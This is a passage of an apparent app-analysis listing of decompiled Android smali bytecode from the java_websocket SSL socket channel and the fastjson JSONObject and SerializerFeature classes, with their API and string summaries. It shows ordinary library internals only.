                                                197invoke-virtual {v2}, Ljavax/net/ssl/SSLEngine;->closeOutbound()V
                                                199iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->engine:Ljavax/net/ssl/SSLEngine;
                                                201invoke-virtual {v2}, Ljavax/net/ssl/SSLEngine;->getHandshakeStatus()Ljavax/net/ssl/SSLEngineResult$HandshakeStatus;
                                                202move-result-object v2
                                                203goto/16 :goto_29
                                                204cond_108:
                                                205iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->socketChannel:Ljava/nio/channels/SocketChannel;
                                                207iget-object v4, p0, Lorg/java_websocket/SSLSocketChannel;->peerNetData:Ljava/nio/ByteBuffer;
                                                209invoke-virtual {v2, v4}, Ljava/nio/channels/SocketChannel;->read(Ljava/nio/ByteBuffer;)I
                                                210move-result v2
                                                211if-gez v2, :cond_135
                                                213iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->engine:Ljavax/net/ssl/SSLEngine;
                                                215invoke-virtual {v2}, Ljavax/net/ssl/SSLEngine;->isInboundDone()Z
                                                216move-result v2
                                                217if-eqz v2, :cond_123
                                                219iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->engine:Ljavax/net/ssl/SSLEngine;
                                                221invoke-virtual {v2}, Ljavax/net/ssl/SSLEngine;->isOutboundDone()Z
                                                222move-result v2
                                                223if-eqz v2, :cond_123
                                                224return v1
                                                225try_start_123:
                                                226iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->engine:Ljavax/net/ssl/SSLEngine;
                                                228invoke-virtual {v2}, Ljavax/net/ssl/SSLEngine;->closeInbound()V
                                                229try_end_128:
                                                230iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->engine:Ljavax/net/ssl/SSLEngine;
                                                232invoke-virtual {v2}, Ljavax/net/ssl/SSLEngine;->closeOutbound()V
                                                234iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->engine:Ljavax/net/ssl/SSLEngine;
                                                236invoke-virtual {v2}, Ljavax/net/ssl/SSLEngine;->getHandshakeStatus()Ljavax/net/ssl/SSLEngineResult$HandshakeStatus;
                                                237move-result-object v2
                                                238goto/16 :goto_29
                                                239cond_135:
                                                240iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->peerNetData:Ljava/nio/ByteBuffer;
                                                242invoke-virtual {v2}, Ljava/nio/ByteBuffer;->flip()Ljava/nio/Buffer;
                                                243try_start_13a:
                                                244iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->engine:Ljavax/net/ssl/SSLEngine;
                                                246iget-object v4, p0, Lorg/java_websocket/SSLSocketChannel;->peerNetData:Ljava/nio/ByteBuffer;
                                                248iget-object v9, p0, Lorg/java_websocket/SSLSocketChannel;->peerAppData:Ljava/nio/ByteBuffer;
                                                250invoke-virtual {v2, v4, v9}, Ljavax/net/ssl/SSLEngine;->unwrap(Ljava/nio/ByteBuffer;Ljava/nio/ByteBuffer;)Ljavax/net/ssl/SSLEngineResult;
                                                251move-result-object v2
                                                253iget-object v4, p0, Lorg/java_websocket/SSLSocketChannel;->peerNetData:Ljava/nio/ByteBuffer;
                                                255invoke-virtual {v4}, Ljava/nio/ByteBuffer;->compact()Ljava/nio/ByteBuffer;
                                                257invoke-virtual {v2}, Ljavax/net/ssl/SSLEngineResult;->getHandshakeStatus()Ljavax/net/ssl/SSLEngineResult$HandshakeStatus;
                                                258move-result-object v4
                                                259try_end_14d:
                                                260sget-object v9, Lorg/java_websocket/SSLSocketChannel$1;->$SwitchMap$javax$net$ssl$SSLEngineResult$Status:[I
                                                262invoke-virtual {v2}, Ljavax/net/ssl/SSLEngineResult;->getStatus()Ljavax/net/ssl/SSLEngineResult$Status;
                                                263move-result-object v10
                                                265invoke-virtual {v10}, Ljavax/net/ssl/SSLEngineResult$Status;->ordinal()I
                                                266move-result v10
                                                267aget v9, v9, v10
                                                268if-eq v9, v3, :cond_f8
                                                269if-eq v9, v8, :cond_19a
                                                270if-eq v9, v7, :cond_190
                                                271if-ne v9, v6, :cond_177
                                                273iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->engine:Ljavax/net/ssl/SSLEngine;
                                                275invoke-virtual {v2}, Ljavax/net/ssl/SSLEngine;->isOutboundDone()Z
                                                276move-result v2
                                                277if-eqz v2, :cond_16a
                                                278return v1
                                                279cond_16a:
                                                280iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->engine:Ljavax/net/ssl/SSLEngine;
                                                282invoke-virtual {v2}, Ljavax/net/ssl/SSLEngine;->closeOutbound()V
                                                284iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->engine:Ljavax/net/ssl/SSLEngine;
                                                286invoke-virtual {v2}, Ljavax/net/ssl/SSLEngine;->getHandshakeStatus()Ljavax/net/ssl/SSLEngineResult$HandshakeStatus;
                                                287move-result-object v2
                                                288goto/16 :goto_29
                                                289cond_177: new-instance v0, Ljava/lang/IllegalStateException;
                                                290new-instance v1, Ljava/lang/StringBuilder;
                                                292invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                294invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                296invoke-virtual {v2}, Ljavax/net/ssl/SSLEngineResult;->getStatus()Ljavax/net/ssl/SSLEngineResult$Status;
                                                297move-result-object v2
                                                299invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                301invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                302move-result-object v1
                                                304invoke-direct {v0, v1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
                                                305throw v0
                                                306cond_190:
                                                307iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->peerAppData:Ljava/nio/ByteBuffer;
                                                309invoke-direct {p0, v2}, Lorg/java_websocket/SSLSocketChannel;->enlargeApplicationBuffer(Ljava/nio/ByteBuffer;)Ljava/nio/ByteBuffer;
                                                310move-result-object v2
                                                311iput-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->peerAppData:Ljava/nio/ByteBuffer;
                                                312goto/16 :goto_f8
                                                313cond_19a:
                                                314iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->peerNetData:Ljava/nio/ByteBuffer;
                                                316invoke-direct {p0, v2}, Lorg/java_websocket/SSLSocketChannel;->handleBufferUnderflow(Ljava/nio/ByteBuffer;)Ljava/nio/ByteBuffer;
                                                317move-result-object v2
                                                318iput-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->peerNetData:Ljava/nio/ByteBuffer;
                                                319goto/16 :goto_f8
                                                320catch_1a4:
                                                321iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->engine:Ljavax/net/ssl/SSLEngine;
                                                323invoke-virtual {v2}, Ljavax/net/ssl/SSLEngine;->closeOutbound()V
                                                325iget-object v2, p0, Lorg/java_websocket/SSLSocketChannel;->engine:Ljavax/net/ssl/SSLEngine;
                                                327invoke-virtual {v2}, Ljavax/net/ssl/SSLEngine;->getHandshakeStatus()Ljavax/net/ssl/SSLEngineResult$HandshakeStatus;
                                                328move-result-object v2
                                                329goto/16 :goto_29
                                                330cond_1b1:
                                                331iget-object v0, p0, Lorg/java_websocket/SSLSocketChannel;->peerNetData:Ljava/nio/ByteBuffer;
                                                333invoke-virtual {v0}, Ljava/nio/ByteBuffer;->hasRemaining()Z
                                                334move-result v0
                                                335xor-int/2addr v0, v3
                                                336if-eqz v0, :cond_1bb
                                                337return v3
                                                338cond_1bb:
                                                339iget-object v3, p0, Lorg/java_websocket/SSLSocketChannel;->socketChannel:Ljava/nio/channels/SocketChannel;
                                                341iget-object v4, p0, Lorg/java_websocket/SSLSocketChannel;->peerNetData:Ljava/nio/ByteBuffer;
                                                343invoke-virtual {v3, v4}, Ljava/nio/channels/SocketChannel;->write(Ljava/nio/ByteBuffer;)I
                                                344goto/16 :goto_29
                                                345cond_1c4: return v3
                                                APIs
                                                • java.lang.reflect.Method.getParameterTypes
                                                • java.lang.reflect.Method.getName
                                                • java.lang.String.equals
                                                • java.lang.Boolean.valueOf
                                                • java.lang.reflect.Method.getReturnType
                                                • java.lang.Void.TYPE:Ljava/lang/Class
                                                • java.lang.reflect.Method.getAnnotation
                                                • java.lang.String.length
                                                • java.lang.reflect.Method.getName
                                                • java.lang.String.startsWith
                                                • java.lang.String.substring
                                                • java.lang.String.length
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.String.charAt
                                                • java.lang.Character.toLowerCase
                                                • java.lang.StringBuilder.append
                                                • java.lang.String.substring
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.util.Map.put
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.reflect.Method.getReturnType
                                                • java.lang.Void.TYPE:Ljava/lang/Class
                                                • java.lang.reflect.Method.getAnnotation
                                                • java.lang.String.length
                                                • java.lang.reflect.Method.getName
                                                • java.lang.String.startsWith
                                                • java.lang.String.substring
                                                • java.lang.String.length
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.String.charAt
                                                • java.lang.Character.toLowerCase
                                                • java.lang.StringBuilder.append
                                                • java.lang.String.substring
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.String.startsWith
                                                • java.lang.String.substring
                                                • java.lang.String.length
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.String.charAt
                                                • java.lang.Character.toLowerCase
                                                • java.lang.StringBuilder.append
                                                • java.lang.String.substring
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.String.startsWith
                                                • java.lang.Integer.valueOf
                                                • java.lang.String.startsWith
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.util.Map.get
                                                • java.lang.reflect.Method.getGenericReturnType
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.reflect.Method.toGenericString
                                                • java.lang.UnsupportedOperationException.<init>
                                                Strings
                                                • equals
                                                • illegal setter
                                                • set
                                                • illegal getter
                                                • get
                                                • is
                                                • hashCode
                                                • toString
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Throws;
                                                1value = {
                                                2Ljava/lang/Throwable;
                                                3}
                                                4.end annotation
                                                6invoke-virtual {p2}, Ljava/lang/reflect/Method;->getParameterTypes()[Ljava/lang/Class;
                                                7move-result-object p1
                                                8array-length v0, p1
                                                9const/4 v1, 0x3
                                                10const/4 v2, 0x0
                                                11const/4 v3, 0x1
                                                12const/4 v4, 0x0
                                                13if-ne v0, v3, :cond_94
                                                15invoke-virtual {p2}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                                                16move-result-object p1
                                                18const-string v0, "equals"
                                                20invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                21move-result p1
                                                22if-eqz p1, :cond_22
                                                23aget-object p1, p3, v4
                                                25invoke-virtual {p0, p1}, Lcom/alibaba/fastjson/JSONObject;->equals(Ljava/lang/Object;)Z
                                                26move-result p1
                                                28invoke-static {p1}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                                                29move-result-object p1
                                                30return-object p1
                                                31cond_22:
                                                32invoke-virtual {p2}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                                                33move-result-object p1
                                                35sget-object v0, Ljava/lang/Void;->TYPE:Ljava/lang/Class;
                                                37const-string v5, "illegal setter"
                                                38if-ne p1, v0, :cond_8e
                                                39const-class p1, Lcom/alibaba/fastjson/annotation/JSONField;
                                                41invoke-virtual {p2, p1}, Ljava/lang/reflect/Method;->getAnnotation(Ljava/lang/Class;)Ljava/lang/annotation/Annotation;
                                                42move-result-object p1
                                                43check-cast p1, Lcom/alibaba/fastjson/annotation/JSONField;
                                                44if-eqz p1, :cond_45
                                                46invoke-interface {p1}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                47move-result-object v0
                                                49invoke-virtual {v0}, Ljava/lang/String;->length()I
                                                50move-result v0
                                                51if-eqz v0, :cond_45
                                                53invoke-interface {p1}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                54move-result-object p1
                                                55goto/16 :goto_46
                                                56cond_45: move-object p1, v2
                                                57goto_46: if-nez p1, :cond_86
                                                59invoke-virtual {p2}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                                                60move-result-object p1
                                                62const-string p2, "set"
                                                64invoke-virtual {p1, p2}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                65move-result p2
                                                66if-eqz p2, :cond_80
                                                68invoke-virtual {p1, v1}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                69move-result-object p1
                                                71invoke-virtual {p1}, Ljava/lang/String;->length()I
                                                72move-result p2
                                                73if-eqz p2, :cond_7a
                                                74new-instance p2, Ljava/lang/StringBuilder;
                                                76invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
                                                78invoke-virtual {p1, v4}, Ljava/lang/String;->charAt(I)C
                                                79move-result v0
                                                81invoke-static {v0}, Ljava/lang/Character;->toLowerCase(C)C
                                                82move-result v0
                                                84invoke-virtual {p2, v0}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                                86invoke-virtual {p1, v3}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                87move-result-object p1
                                                89invoke-virtual {p2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                91invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                92move-result-object p1
                                                93goto/16 :goto_86
                                                94cond_7a: new-instance p1, Lcom/alibaba/fastjson/JSONException;
                                                96invoke-direct {p1, v5}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                97throw p1
                                                98cond_80: new-instance p1, Lcom/alibaba/fastjson/JSONException;
                                                100invoke-direct {p1, v5}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                101throw p1
                                                102goto_86:
                                                103iget-object p2, p0, Lcom/alibaba/fastjson/JSONObject;->map:Ljava/util/Map;
                                                104aget-object p3, p3, v4
                                                106invoke-interface {p2, p1, p3}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                107return-object v2
                                                108cond_8e: new-instance p1, Lcom/alibaba/fastjson/JSONException;
                                                110invoke-direct {p1, v5}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                111throw p1
                                                112cond_94: array-length p1, p1
                                                113if-nez p1, :cond_165
                                                115invoke-virtual {p2}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                                                116move-result-object p1
                                                118sget-object p3, Ljava/lang/Void;->TYPE:Ljava/lang/Class;
                                                120const-string v0, "illegal getter"
                                                121if-eq p1, p3, :cond_15f
                                                122const-class p1, Lcom/alibaba/fastjson/annotation/JSONField;
                                                124invoke-virtual {p2, p1}, Ljava/lang/reflect/Method;->getAnnotation(Ljava/lang/Class;)Ljava/lang/annotation/Annotation;
                                                125move-result-object p1
                                                126check-cast p1, Lcom/alibaba/fastjson/annotation/JSONField;
                                                127if-eqz p1, :cond_b9
                                                129invoke-interface {p1}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                130move-result-object p3
                                                132invoke-virtual {p3}, Ljava/lang/String;->length()I
                                                133move-result p3
                                                134if-eqz p3, :cond_b9
                                                136invoke-interface {p1}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                137move-result-object v2
                                                138cond_b9: if-nez v2, :cond_14c
                                                140invoke-virtual {p2}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                                                141move-result-object p1
                                                143const-string p3, "get"
                                                145invoke-virtual {p1, p3}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                146move-result p3
                                                147if-eqz p3, :cond_f3
                                                149invoke-virtual {p1, v1}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                150move-result-object p1
                                                152invoke-virtual {p1}, Ljava/lang/String;->length()I
                                                153move-result p3
                                                154if-eqz p3, :cond_ed
                                                155new-instance p3, Ljava/lang/StringBuilder;
                                                157invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
                                                159invoke-virtual {p1, v4}, Ljava/lang/String;->charAt(I)C
                                                160move-result v0
                                                162invoke-static {v0}, Ljava/lang/Character;->toLowerCase(C)C
                                                163move-result v0
                                                165invoke-virtual {p3, v0}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                                167invoke-virtual {p1, v3}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                168move-result-object p1
                                                170invoke-virtual {p3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                172invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                173move-result-object v2
                                                174goto/16 :goto_14c
                                                175cond_ed: new-instance p1, Lcom/alibaba/fastjson/JSONException;
                                                177invoke-direct {p1, v0}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                178throw p1
                                                179cond_f3:
                                                180const-string p3, "is"
                                                182invoke-virtual {p1, p3}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                183move-result p3
                                                184if-eqz p3, :cond_128
                                                185const/4 p3, 0x2
                                                187invoke-virtual {p1, p3}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                188move-result-object p1
                                                190invoke-virtual {p1}, Ljava/lang/String;->length()I
                                                191move-result p3
                                                192if-eqz p3, :cond_122
                                                193new-instance p3, Ljava/lang/StringBuilder;
                                                195invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
                                                197invoke-virtual {p1, v4}, Ljava/lang/String;->charAt(I)C
                                                198move-result v0
                                                200invoke-static {v0}, Ljava/lang/Character;->toLowerCase(C)C
                                                201move-result v0
                                                203invoke-virtual {p3, v0}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                                205invoke-virtual {p1, v3}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                206move-result-object p1
                                                208invoke-virtual {p3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                210invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                211move-result-object v2
                                                212goto/16 :goto_14c
                                                213cond_122: new-instance p1, Lcom/alibaba/fastjson/JSONException;
                                                215invoke-direct {p1, v0}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                216throw p1
                                                217cond_128:
                                                218const-string p2, "hashCode"
                                                220invoke-virtual {p1, p2}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                221move-result p2
                                                222if-eqz p2, :cond_139
                                                224invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONObject;->hashCode()I
                                                225move-result p1
                                                227invoke-static {p1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                228move-result-object p1
                                                229return-object p1
                                                230cond_139:
                                                231const-string p2, "toString"
                                                233invoke-virtual {p1, p2}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                234move-result p1
                                                235if-eqz p1, :cond_146
                                                237invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONObject;->toString()Ljava/lang/String;
                                                238move-result-object p1
                                                239return-object p1
                                                240cond_146: new-instance p1, Lcom/alibaba/fastjson/JSONException;
                                                242invoke-direct {p1, v0}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                243throw p1
                                                244cond_14c:
                                                245iget-object p1, p0, Lcom/alibaba/fastjson/JSONObject;->map:Ljava/util/Map;
                                                247invoke-interface {p1, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                248move-result-object p1
                                                250invoke-virtual {p2}, Ljava/lang/reflect/Method;->getGenericReturnType()Ljava/lang/reflect/Type;
                                                251move-result-object p2
                                                253invoke-static {}, Lcom/alibaba/fastjson/parser/ParserConfig;->getGlobalInstance()Lcom/alibaba/fastjson/parser/ParserConfig;
                                                254move-result-object p3
                                                256invoke-static {p1, p2, p3}, Lcom/alibaba/fastjson/util/TypeUtils;->cast(Ljava/lang/Object;Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/parser/ParserConfig;)Ljava/lang/Object;
                                                257move-result-object p1
                                                258return-object p1
                                                259cond_15f: new-instance p1, Lcom/alibaba/fastjson/JSONException;
                                                261invoke-direct {p1, v0}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                262throw p1
                                                263cond_165: new-instance p1, Ljava/lang/UnsupportedOperationException;
                                                265invoke-virtual {p2}, Ljava/lang/reflect/Method;->toGenericString()Ljava/lang/String;
                                                266move-result-object p2
                                                268invoke-direct {p1, p2}, Ljava/lang/UnsupportedOperationException;-><init>(Ljava/lang/String;)V
                                                269throw p1
                                                APIs
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.<init>
                                                • com.alibaba.fastjson.serializer.SerializerFeature.QuoteFieldNames:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.UseSingleQuotes:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteMapNullValue:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteEnumUsingToString:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteEnumUsingName:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.UseISO8601DateFormat:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteNullListAsEmpty:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteNullStringAsEmpty:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteNullNumberAsZero:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteNullBooleanAsFalse:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.SkipTransientField:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.SortField:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteTabAsSpecial:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.PrettyFormat:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteClassName:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.DisableCircularReferenceDetect:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteSlashAsSpecial:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.BrowserCompatible:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteDateUseDateFormat:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.NotWriteRootClassName:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.DisableCheckSpecialChar:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.BeanToArray:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteNonStringKeyAsString:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.NotWriteDefaultValue:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.BrowserSecure:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.IgnoreNonFieldGetter:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteNonStringValueAsString:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.IgnoreErrorGetter:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteBigDecimalAsPlain:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.getMask
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteNullBooleanAsFalse:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.getMask
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteNullListAsEmpty:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.getMask
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteNullNumberAsZero:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.getMask
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteNullStringAsEmpty:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.getMask
                                                Strings
                                                • QuoteFieldNames
                                                • UseSingleQuotes
                                                • WriteMapNullValue
                                                • WriteEnumUsingToString
                                                • WriteEnumUsingName
                                                • UseISO8601DateFormat
                                                • WriteNullListAsEmpty
                                                • WriteNullStringAsEmpty
                                                • WriteNullNumberAsZero
                                                • WriteNullBooleanAsFalse
                                                • SkipTransientField
                                                • SortField
                                                • WriteTabAsSpecial
                                                • PrettyFormat
                                                • WriteClassName
                                                • DisableCircularReferenceDetect
                                                • WriteSlashAsSpecial
                                                • BrowserCompatible
                                                • WriteDateUseDateFormat
                                                • NotWriteRootClassName
                                                • DisableCheckSpecialChar
                                                • BeanToArray
                                                • WriteNonStringKeyAsString
                                                • NotWriteDefaultValue
                                                • BrowserSecure
                                                • IgnoreNonFieldGetter
                                                • WriteNonStringValueAsString
                                                • IgnoreErrorGetter
                                                • WriteBigDecimalAsPlain
                                                Position Instruction Meta Information
                                                0new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                1const/4 v1, 0x0
                                                3const-string v2, "QuoteFieldNames"
                                                5invoke-direct {v0, v2, v1}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                6sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->QuoteFieldNames:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                7new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                8const/4 v2, 0x1
                                                10const-string v3, "UseSingleQuotes"
                                                12invoke-direct {v0, v3, v2}, Lcom/alibaba/fastjson/serializer/SerializerFeature;-><init>(Ljava/lang/String;I)V
                                                13sput-object v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;->UseSingleQuotes:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                14new-instance v0, Lcom/alibaba/fastjson/serializer/SerializerFeature;
